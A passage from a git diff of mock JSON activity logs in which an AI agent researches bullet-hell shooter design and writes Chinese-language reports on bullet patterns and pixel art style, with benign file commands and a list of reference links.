(A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*"}, "ts": 1787459605774}, {"type": "progress", "id": "call_eea8998dbc584718a8560e5d", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/bullet_patterns/ && echo \"---\" && wc -l /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md && echo \"---\" && head -20 /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md", "timeout": 30}, "ts": 1787459610683}, {"type": "progress", "id": "call_eea8998dbc584718a8560e5d", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/bullet_patterns/ && echo \"---\" && wc -l /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md && echo \"---\" && head -20 /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md", "timeout": 30}, "ts": 1787459610737}, {"type": "progress", "id": "call_5637635943d546359790678a", "tool": "read_file", "status": "running", "args": {"path": "research/bullet_patterns/bullet_pattern_research.md", "type": "search", "query": "雅雅"}, "ts": 1787459614924}, {"type": "progress", "id": "call_5637635943d546359790678a", "tool": "read_file", "status": "completed", "args": {"path": "research/bullet_patterns/bullet_pattern_research.md", "type": "search", "query": "雅雅"}, "ts": 1787459614929}, {"type": "progress", "id": "call_19b6b3039b6f452b9b75ab59", "tool": "edit_file", "status": "running", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "replacements": [{"old_string": "\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_string": "\"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。"}]}, "ts": 1787459618982}, {"type": "progress", "id": "call_19b6b3039b6f452b9b75ab59", "tool": "edit_file", "status": "completed", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "replacements": [{"old_string": "\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_string": "\"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。"}]}, "ts": 1787459619034}, {"type": "progress", "id": "call_881806772c334794ba09e781", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [5]}, "ts": 1787459622283}, {"type": "progress", "id": "call_881806772c334794ba09e781", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [5]}, "ts": 1787459622284}]}} \ No newline at end of file diff --git a/website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json b/website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json new file mode 100644 index 00000000..2f3e8094 --- /dev/null +++ b/website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_b08fe4a4a2474a97b1c4bdea", "tool": "search_project_memory", "status": "running", "args": {"keywords": ["弹幕游戏", "pixel art", "STG", "bullet hell", "美术"]}, "ts": 1787459397527}, {"type": "progress", "id": "call_b08fe4a4a2474a97b1c4bdea", "tool": "search_project_memory", "status": "completed", "args": {"keywords": ["弹幕游戏", "pixel art", "STG", "bullet hell", "美术"]}, "ts": 1787459397529}, {"type": "progress", "id": "call_747c31abf4ca4df594277573", "tool": "web_search", "status": "running", "args": {"query": "pixel art shmup sprites player ship design", "max_results": 6}, "ts": 1787459397530}, {"type": "progress", "id": "call_747c31abf4ca4df594277573", "tool": "web_search", "status": "completed", "args": {"query": "pixel art shmup sprites player ship design", "max_results": 6}, "ts": 1787459402207}, {"type": "progress", "id": "call_615703da5d0c4315ad02ba18", "tool": "web_search", "status": "running", "args": {"query": "bullet hell pixel art assets free itch.io", "max_results": 6}, "ts": 1787459402210}, {"type": "progress", "id": "call_615703da5d0c4315ad02ba18", "tool": "web_search", "status": "completed", "args": {"query": "bullet hell pixel art assets free itch.io", "max_results": 6}, "ts": 1787459406627}, {"type": "progress", "id": "call_1e0e1623496741728558dfaf", "tool": "todo_create", "status": "running", "args": {"overview": "调研像素风格弹幕游戏美术设计并输出结构化报告", "tasks": [{"title": "检索自机设计(SLYNYRD教程、东方Project风格、hitbox)"}, {"title": "检索敌方单位与Boss设计(杂兵/预警机制)"}, {"title": "检索子弹像素美术(尺寸/颜色/动画帧/清晰度)"}, {"title": "检索特效与UI(爆炸/道具/得分/HUD)"}, {"title": "搜集itch.io免费素材与参考资源链接"}, {"title": "整理撰写 pixel_art_research.md 并保存到交付目录"}]}, "ts": 1787459412703}, {"type": "progress", "id": "call_1e0e1623496741728558dfaf", "tool": "todo_create", "status": "completed", "args": {"overview": "调研像素风格弹幕游戏美术设计并输出结构化报告", "tasks": [{"title": "检索自机设计(SLYNYRD教程、东方Project风格、hitbox)"}, {"title": "检索敌方单位与Boss设计(杂兵/预警机制)"}, {"title": "检索子弹像素美术(尺寸/颜色/动画帧/清晰度)"}, {"title": "检索特效与UI(爆炸/道具/得分/HUD)"}, {"title": "搜集itch.io免费素材与参考资源链接"}, {"title": "整理撰写 pixel_art_research.md 并保存到交付目录"}]}, "ts": 1787459412703}, {"type": "progress", "id": "call_c1143ba8dad5409dafe433d3", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459412705}, {"type": "progress", "id": "call_c1143ba8dad5409dafe433d3", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459414348}, {"type": "progress", "id": "call_dcd1dd831137414bba69e3a9", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou Project sprite style analysis pixel art zun danmaku"}, "ts": 1787459414351}, {"type": "progress", "id": "call_dcd1dd831137414bba69e3a9", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou Project sprite style analysis pixel art zun danmaku"}, "ts": 1787459417642}, {"type": "progress", "id": "call_eb1986397a8c42ac9fa71251", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou in-game 16x16 sprites hitbox visible dot small design"}, "ts": 1787459421142}, {"type": "progress", "id": "call_eb1986397a8c42ac9fa71251", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou in-game 16x16 sprites hitbox visible dot small design"}, "ts": 1787459426483}, {"type": "progress", "id": "call_4b8565bb8a2f4a11b16b0fad", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "danmaku bullet sprite sheet 16x16 pixel art animation rotation"}, "ts": 1787459426489}, {"type": "progress", "id": "call_4b8565bb8a2f4a11b16b0fad", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "danmaku bullet sprite sheet 16x16 pixel art animation rotation"}, "ts": 1787459431129}, {"type": "progress", "id": "call_93762d695977408f8a1956a7", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "pixel art explosion animation tutorial frames effect"}, "ts": 1787459431133}, {"type": "progress", "id": "call_93762d695977408f8a1956a7", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "pixel art explosion animation tutorial frames effect"}, "ts": 1787459436810}, {"type": "progress", "id": "call_139d39cdc36f44c3b840e652", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://en.touhouwiki.net/wiki/Hitbox"}, "ts": 1787459439966}, {"type": "progress", "id": "call_139d39cdc36f44c3b840e652", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://en.touhouwiki.net/wiki/Hitbox"}, "ts": 1787459441682}, {"type": "progress", "id": "call_26baab082ad34188b2dc0d98", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "shmup boss design pixel art patterns tell telegraph visual warning"}, "ts": 1787459441689}, {"type": "progress", "id": "call_26baab082ad34188b2dc0d98", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "shmup boss design pixel art patterns tell telegraph visual warning"}, "ts": 1787459446767}, {"type": "progress", "id": "call_4caf93adbb314c2da6c58490", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "pixel art game HUD UI design shmup score lives bomb display"}, "ts": 1787459446769}, {"type": "progress", "id": "call_4caf93adbb314c2da6c58490", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "pixel art game HUD UI design shmup score lives bomb display"}, "ts": 1787459452095}, {"type": "progress", "id": "call_35a983537a144b468ca2f666", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2"}, "ts": 1787459456306}, {"type": "progress", "id": "call_35a983537a144b468ca2f666", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2"}, "ts": 1787459457958}, {"type": "progress", "id": "call_89d3ec2b6f764b3cbad48bca", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "东方Project 像素风格 游戏 自机 精灵图 弹幕 设计"}, "ts": 1787459457960}, {"type": "progress", "id": "call_89d3ec2b6f764b3cbad48bca", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "东方Project 像素风格 游戏 自机 精灵图 弹幕 设计"}, "ts": 1787459463758}, {"type": "progress", "id": "call_d2e21b337ac74b529ef3b181", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou bullet types tama oval kunai star colored bullets meaning"}, "ts": 1787459463762}, {"type": "progress", "id": "call_d2e21b337ac74b529ef3b181", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou bullet types tama oval kunai star colored bullets meaning"}, "ts": 1787459466840}, {"type": "progress", "id": "call_544de626311a491f985a1fcf", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "opengameart shmup spaceship pixel art free bullet pack"}, "ts": 1787459472466}, {"type": "progress", "id": "call_544de626311a491f985a1fcf", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "opengameart shmup spaceship pixel art free bullet pack"}, "ts": 1787459476880}, {"type": "progress", "id": "call_f0390ea6ecf944fd8eddae15", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "danmaku bullet visual clarity design rules distinct colors avoid confusion"}, "ts": 1787459476887}, {"type": "progress", "id": "call_f0390ea6ecf944fd8eddae15", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "danmaku bullet visual clarity design rules distinct colors avoid confusion"}, "ts": 1787459483181}, {"type": "progress", "id": "call_06ffce7189754967aae13512", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://void-dancer.itch.io/danmaku-sprite"}, "ts": 1787459483189}, {"type": "progress", "id": "call_06ffce7189754967aae13512", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://void-dancer.itch.io/danmaku-sprite"}, "ts": 1787459484550}, {"type": "progress", "id": "call_fd35ab3b52864ab78c03b2ca", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101"}, "ts": 1787459487972}, {"type": "progress", "id": "call_fd35ab3b52864ab78c03b2ca", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101"}, "ts": 1787459489897}, {"type": "progress", "id": "call_5d5e27cf45a84b60a39e9e74", "tool": "run_command", "status": "running", "args": {"command": "mkdir -p /Users/demo/starraid/research/pixel_art_style && ls -la /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459489905}, {"type": "progress", "id": "call_5d5e27cf45a84b60a39e9e74", "tool": "run_command", "status": "completed", "args": {"command": "mkdir -p /Users/demo/starraid/research/pixel_art_style && ls -la /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459489960}, {"type": "progress", "id": "call_eb835147dad04830a66bf3a0", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 2, 3, 4, 5]}, "ts": 1787459493313}, {"type": "progress", "id": "call_eb835147dad04830a66bf3a0", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 2, 3, 4, 5]}, "ts": 1787459493314}, {"type": "progress", "id": "call_d50cb731e612477f9e864c00", "tool": "write_file", "status": "running", "args": {"file_path": "research/pixel_art_style/pixel_art_research.md", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point 